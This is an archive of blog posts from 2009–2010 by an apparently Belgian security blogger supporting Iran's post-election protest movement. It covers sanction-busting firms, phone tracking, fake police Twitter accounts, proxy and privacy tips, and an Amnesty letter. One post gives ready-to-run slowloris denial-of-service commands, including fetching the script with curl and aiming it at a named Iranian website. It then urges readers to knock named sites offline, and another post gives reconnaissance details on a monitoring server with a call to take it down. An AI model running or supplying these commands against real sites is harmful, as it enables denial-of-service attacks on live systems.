06/08/2010

The Belgian Iranian sanction buster

You can find the links here or subscribe to it   Here are those for the moment

In the reports about the sanction-busting by companies working directly with or for the Iranianan Revolutionary Guard (those responsable for the suppression of the democratic movement after the elections) is one company based in Belgium

http://www.iranwatch.org/suspect/records/irisl-benelux-nv...

But the domainname irisl.be has been taken over by ahlers.com and it declares on its website (in dutch) that irisl does nothing illegal - while the international reports stating the contrary continue to claim this.

If Ahlers has nothing to do with irisl why the hell does it take over its website ? For starters.

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07/28/2009

will Nokia and other telecom operator face trials in the US because of their cooperation with the Iran suppression ?

Issa Saharkhiz, a prominent journalist and former senior Culture Ministry official, has told his family in a short phone call from prison that several of his ribs were broken during his arrest in northern Iran on July 4 in the postelection crackdown.

The 56-year-old Saharkhiz has told his family the authorities traced him through his Nokia cellular phone. Saharkhiz, who had campaigned for reformist candidate Mehdi Karrubi, has been highly critical of Iran’s supreme leader and of President Mahmud Ahmadinejad.

RFE/RL correspondent Golnaz Esfandiari spoke to Saharkhiz’s son, Mehdi Saharkhiz, who is in New York conducting a hunger strike with other activists and intellectuals to call for the release of political prisoners in Iran and express solidarity with the Iranian people.

RFE/RL: What else did he say? You said he’s being held in solitary confinement. Is it clear where he’s being held? Is it at Evin prison?

Saharkhiz:
It’s not clear where he is being held. He also said: "Don’t expect to see me anytime soon. I will stay here for a long time." He also said that all the tracking was done through Nokia and, if possible, lawyers should file a complaint against the Nokia company and take it to an international court and argue that Nokia should pay for all the damages and things that have happened in Iran.
http://www.rferl.org/content/Prominent_Iranian_Journalist...

This would be a first.

It would encourage firms to install privacy-enhancing and protecting code and functions in their tools. Networks and technical tools are architectural ideas. When you start designing them or adapting them, you can make them whatever you want them to be. In the interest of the user, the firm or the network. Untill now the commercial developments and network architectures have been firm and networkcentered. Maybe it is time to start thinking about usercentered technology as a viable commercial product or function.

last thought, China next (Google, yahoo ?)

ps for the Iranian friends, there are still daily proxies at our proxy site (see above)

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07/01/2009

How the Iranian regime 'won' the digital war for now - thanks to US and Israeli technology and knowledge

2. By "deep packet inspection," the secret controllers can cause delays in online data transfers, which surfers may attribute to glitches connected with their providers. The more targets under surveillance, the more online transfers are slowed down.

Iranian sources report that the day after the presidential poll and resulting street outbreaks, Iran's Internet control and tracking supervisors took over the 10 leading service providers in the country. Their first action was to slow down incoming and outgoing cyber traffic from 1,500 to 54 kilobytes to make sure that not a single byte by Internet or cell phone to or from protest leaders escaped their notice.

Tehran has vented its ire on Britain because it is accused of providing the organizers of the dissident movement with London telephone numbers to circumvent the deliberate slowdown of online traffic from inside the country. These numbers gave anti-government activists instant, direct links through Western Internet providers for getting their messages out to the world. Iran suspects they were laid on by British intelligence.

Eventually, the British lines became jammed by overload
http://iran.whyweprotest.net/keeping-your-anonymity-iran/

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some other interesting Iranian sites for slow or other visits :)

Someone is spamming those links on Twitter (http://twitter.com/rst325), pretending that it's anonymizers or breaking news. They're probably collecting IP's.

This gov-friendly news website is hosted in the netherlands.

This is one of the SMS monitoring computers for the IRTC. Find a way to take it down. Reported as open ports on 22/ssh and 443/https. There is a generic SSL certificate being used. Its running RHEL 5 on kernal 2.6.x.


http://insurgen.info/wiki/Project_Greenwave

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slowiris being developed and becoming more perfect - are you ready ?

The Iranian cyberwar soldiers have a problem. They can't use a general DDOS even against a specific site because that would hamper the opposition who has to get their stuff out at all time. It is the only way by which information can be distributed fast enough. So luckily (act of god ? :)) slowiris came along. This makes it possible to DDOS a site without even using more connections than an normal website visit. But the code has been opensourced and as the hackers said could be made much better.

Well you shouldn't have told that to the Iranians of which there are many geeks and computercodefreaks (and very intelligent by the way :)) So as they are now knocked off the streets and silenced in the media they can only wage their opposition online while waiting for the next opportunity to make their opposition and views known.

Meanwhile for us as security administrators it is a bit disconcerting to see a crappy code being developed into a very forcefull attack code that could be used by anyone against anything for any reason and against which there is until now not much you could do.

Yes, there is one thing : be sure to have a version of your website on IIS as backup if you site would be attacked and knocked out. It is a design failure of Sun, squid and Apache and a bunch of others that isn't present in IIS. Although take the latest versions of IIS and windows2008 and desactivate webdav and use the securitytools from Microsoft to secure and close down your site. Do not think you are smarter than Microsoft by opening up stuff or activating things you probably don't need.

You have to follow our dijgo links at our dashboard to find the references to that new attack code that you can't stop for the moment with an anti-ddos protection and that bypasses the existing protection modules for Apache.

For the moment it is becoming as simple as this (with the perl version installed)

    > perl slowloris.pl -dns WEBSITE -port 80 -timeout 626 -num 2000 -tcpto 5 -httpready

>>100612

and there goes your website - under the load of one machine with one adsl if you are running Apache....

and for Mac (yes it is perl so it is for any machine)

"To run slowloris.pl on Mac OS X, open Terminal and type this (hit return at the end of each line):

mkdir -p ~/Source && cd ~/Source/
curl -O http://ha.ckers.org/slowloris/slowloris.pl
chmod +x slowloris.pl
./slowloris.pl --dns www.gerdab.ir" or any other site

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if there would be one iranian website that should be pushed out

it would probably be this one Gerdab.ir

and this one bultannews.com

asking for the identification of protesters - already 2000 have been arrested and are awaiting 'trial' by the butcher of Teheran who also smashed the protests in 1999 and 2000

link

for technical people read this  and according to the Belgian law I am not saying that you should do anything. I am just reporting that this information is online.

They seem to have a ddos prevention so the Iranians need many people to use sloworis attacks to get the site as inaccessable as possible. Here are guidelines and here is a lot more of information to use against this kind of websites

2 people are already identified and were arrested by the Iranian 'police'. Hundreds of executions are called for by the hardliners.

It is not because people have been knocked off the streets and silenced in the official media that they have no opinion and a lust for freedom :)

 

iranian fuckyou

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06/24/2009

twitter from your phone or pc - list of free apps

  • Tweetie for Mac OS X
  • Seesmic Desktop for Adobe Air
  • Destroy Twitter for Adobe Air
  • PowerTwitter for Firefox
  • PeopleBrowsr
  • Twinbox for Microsoft Outlook
  • Twitterific for iPhone
  • Pichirp Pro for iPhone
  • Twitterville for iPhone
  • Simply Tweet for iPhone
  • Gravity for Nokia N60
  • Twitcher for Adobe Air
  • TwitterContd for web

  • http://blog.posterous.com

    without going to twitter

    maybe they should incorporate proxies and not go directly to twitter and learn from the Iranian situation

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    06/21/2009

    Iran a courage to fight for democracy one should respect and defend

    “I will participate in the demonstrations tomorrow. Maybe they will turn violent. Maybe I will be one of the people who is going to get killed. I’m listening to all my favorite music. I even want to dance to a few songs. I always wanted to trim my eyebrows very thin. Yes, maybe I will drop by the salon before the rally tomorrow! I have to watch some great parts of Hamoon* again.I also have to go through my books. Shamlou** and Forough** are worth reading at these moments. I have to review my family album too.And my friends! I have to call them to say goodbye. All I have are two bookshelves full of books which I told my family who should get them. I’m two courses away from getting my bachelors degree but who cares about that now. There is a lot on my mind right now. I am writing these scattered sentences for the next generation so they know we were not just emotional and caught up in excitement. So they know that we did everything we could to create a better future for them. So they know that our ancestors surrendered to Arabs and Mongols but did not surrender to despotism. These words are dedicated to the children of tomorrow …”

    - translated from the notes of an Iranian blogger with more courage than most of us will ever know.
    http://iranriggedelect.blogspot.com

    more on http://belsectv.skynetblogs.be and

    http://www.netvibes.com/mailforlen#Iran_protests

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    help the Iranians - see the bloodshed

    more will be posted on http://belsectv.skynetblogs.be  this is what is happening

    help these people plz

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    06/20/2009

    the end game has started in Iran - crackdown or democracy

    http://www.netvibes.com/mailforlen#Iran_protests 

    You can follow the most important tweets here or find references but from the incoming news it is clear that there are deaths, troopmovements and shootings and that also in the mind of the opposition it is clear that they can be killed this weekend because after the position by the regime on friday (which has missed a chance to install a 'coalition' government) it is clear that they won't budge without a fight and are clear for it.

    Meanwhile texting is again possible and BBC says that around 7 videos and pics a minute are streaming in which makes it possible for them to accept videos because they come from different sources and angles. So just keep on sending them whatever you have because each additional pic and video is compared to thousands of others to declare some real and others fake.

    This is not the twitter revolution or the youtube revolution but this is a real protest by real people who are facing real bullets with real danger and just use those tools to make it known to us.

    The only thing we can do is put pressure on our politicians and governments to stop treating this regime as a normal one and to ban it like we did with China after their crackdown.

    If the protesters win the whole of the Middle East can be totally different and can have a real decade of peace and cooperation ahead of it and the hardliners in Israel will have to accept peace because they will be the odd man out.

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    06/18/2009

    reblog or republish this : free faxes to free Iran

    We have set up a website to receive faxes from Iran, which we will post online. Hopefully this will be another way for information about what's going on in Iran to make its way out of the country.


    Please disseminate this fax number as widely as possible: 001 773 321 0202. We will post any faxes we receive at iranfax.org.

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    Google should become Green for Iran, doesn't it

    http://whereistheirvote.x10hosting.com/

     

    the resources at http://www.netvibes.com/mailforlen  Iranprotests are updated

    there are about 32 deaths untill now, but they continue to march

    they are trying to stop the flow of the information on the net but the flow is too great

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    06/17/2009

    fake Iran protest twitters that are in fact police services

    Block Now

    • http://twitter.com/Persian_Guy (Definitely Iran Security)
    • http://twitter.com/AnonymousInIran (Trap links being used)
    • http://twitter.com/lisamforeman (fake press account)
    • http://twitter.com/rWhZEV (Fake Iran Election headlines)
    • http://twitter.com/AJE_Producer (fake Al’ Jazerra Account)
    • http://twitter.com/TruePersian1 (Preaching violence & destruction in all caps.)
    • http://twitter.com/amoo_miki (Be wary of this acct.  Following many with no updates)
    • http://twitter.com/IRElec (Using entrapment techniques that are well known)
    • http://twitter.com/Twiter_Thinker (spamming same link over and over, t-shirt sales)
    • http://twitter.com/persiantiki
    • http://twitter.com/rccccr (following users with Iran election tweets, no posts)
    • http://twitter.com/BrothersinAbrah (hashtag post only)
    • http://twitter.com/IRFORREAL (fake url for unrelated site)
    • http://twitter.com/mikehiavelli
    • http://twitter.com/MoonMagician (Same message over and over)
    • http://twitter.com/Amir1982
    • http://twitter.com/_SuperGreen_
    • http://twitter.com/globalmeeting
    • http://twitter.com/ghb78
    • http://twitter.com/am12976
    • http://twitter.com/iranianfree2k9
    • http://twitter.com/FreeMediaNews
    • http://www.twitter.com/jfcrow (unconfirmed)
    • http://twitter.com/Karmuk (Retweeting same message over and over)
    • http://twitter.com/chartingstocks (Writing fake articles on the Iranian Election Twitters)
    • http://twitter.com/obamaspy
    • http://twitter.com/IranisFree
    • http://twitter.com/serv_

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    International demonstrations for solidarity with iranian democrats

    We are all Iranians for the moment and we all hope that they can have the same freedoms that we have around here.

    http://www.whereismyvote.org/

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    06/16/2009

    Sign the petition to update Google Map pictures

    Since we aren't getting proper images form Iran, we need Google Satellite to update images of Tehran so we can follow the protests. 
    ----------------------------------------------------
    Added by: iranprotest on June 15, 2009, 8:46:37 am
    ----------------------------------------------------

    Since the Iranian government has blocked the internet and 
    mobile phone reception and have thrown foreign journalists out of the country and Iranian journalists into jail, we can't access up to the minute images of the protests that are going on, even now as we speak. We need Google to upload new images of Tehran and other cities so we can follow the movement of protesters. 

    Right now Iran is trying to pass off this movement as a small insignificant protest, we need the proof that it's a nationwide movement!

    http://www.petitionspot.com/petitions/irangooglemap/

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    Iranian names for twitters


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    Amnesty International asks to write to liberate the prisoners

    hundreds already are in prison and nobody knows where and why and for how long

    Amnesty International USA suggests the following:

    write officials at: info_leader@leader.ir

    Supreme Leader of the Islamic Republic
    Ayatollah Sayed 'Ali Khamenei, 
    The Office of the Supreme
    Leader
    Islamic Republic Street - End of Shahid Keshvar Doust Street, Tehran, Islamic Republic of Iran

    Minister of the Interior
    Sadegh Mahsouli 

    Dr Fatemi Avenue
    Tehran, Islamic Republic of Iran
    Fax: +98 21 8 896 203

    Dear Your Excellency:

    I am writing to you to express my concern over the use of violence by security forces responding to protests over the 
    election results following the 12 June elections in Iran. Large numbers of people have been severely beaten by riot police on motorcycles who wield truncheons and night sticks. Furthermore, up to five students at Tehran University were reportedly shot dead on Sunday 14 June and another person was reportedly shot when security agents opened fire on a demonstration on behalf of Mir Hossein Mousavi on 15 June. Several other people were injured by gunfire.

    I am also concerned that at least 170 people have been detained by authorities since 12 June, including the brother of former President Mohammad Khatami. Furthermore, the Iranian authorities have attempted to prevent the flow of information by blocking cell phone, text messaging, email and web sites.

    I urge you to insure that security agents will exercise restraint in the use of lethal force to respond to protests, and to refrain from beating people for exercising their right to freedom of expression and association. I also urge that those detained for peacefully expressing their results be released. I finally urge you not to restrict the right to freedom of expression and association, by permitting peaceful public protests and by not interfering with communications.

    Thank you for your attention to this matter.

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    free for Iran to free Iran : how to help them part 2

    http://www.openemrhq.com/resist/tweetiran.php

    please set up hundreds or thousands like that 

    * keep your proxies private for Iranians and send them to

    DM them to @stopAhmadi or @iran09 and they will distributed them discretely to bloggers in Iran or to @austinheap and so you can keep them private

    * look also for messages like that to retweet  

    “pls RT” is Twitter lingo for “please re-tweet (without the names please)

    * some more advice from boing boing

    2. Hashtags, the only two legitimate hashtags being used by bloggers in Iran are #iranelection and #gr88, other hashtag ideas run the risk of diluting the conversation.

    3. Keep you bull$hit filter up! Security forces are now setting up twitter accounts to spread disinformation by posing as Iranian protesters. Please don't retweet impetuosly, try to confirm information with reliable sources before retweeting. The legitimate sources are not hard to find and follow.

    4. Help cover the bloggers: change your twitter settings so that your location is TEHRAN and your time zone is GMT + 4:30. Security forces are hunting for bloggers using location and timezone searches. If we all become 'Iranians' it becomes much harder to find them.

    5. Don't blow their cover! If you discover a genuine source, please don't publicise their name or location on a website. These bloggers are in REAL danger. Spread the word discretely through your own networks but don't signpost them to the security forces

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    alarm situation in Iran is worsening now - final stage ?

    from the twitter reporters

    * the socalled professional reporters from the free world are leaving the country or are confined to their hotel and obey these orders without even checking the internet or something like that. Real courage that is.....

    * troops are entering Teheran say some twitters and hundreds seem to be arrested and brought to high security prisons while militia (in a democracy ?) are roaming the streets

    * new demonstrations are planned for tomorrow

    * the state is trying to cut off Google talk, skype, twitter and text sms is already blocked as are opposition websites and foreign media

    we will be publishing proxies and other tools that can be used for free to get passed this wall of silence that the dictators want to impose.

    If you are a democrat and proud to be one, you should now be doing everything you can to help them

    * put free faxes, voip to text, relays and other anonymous services coming out of Iran for free (Free for Iran to free Iran)

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    how you can help the Iranian democrats with twitter and other cyberhelp

  • Change your location and time zone on Twitter to Tehran, Iran (that's GMT+3:30
  • Change your profile icon to green in some way.
  • Set up a proxy. and send a DM to @ProtesterHelp. On Windows, do this and on Linux do this. On Mac, do this (NOTE: These will be reposted here soon to save bandwidth)
  • DO NOT retweet posts verbatim from Iran. This puts the users at risk. The Iranian Minstry of the Interior is watching Twitter closely now. Don't use names and reword the post.
  • Submit e-mails to CNN, MSNBC, Fox and other news sources about the Iranian Revolution- demand more coverage
  • DO NOT DDOS (PageReload) Iranian government websites. It slows all Iranian traffic, doing more harm than good in this information war
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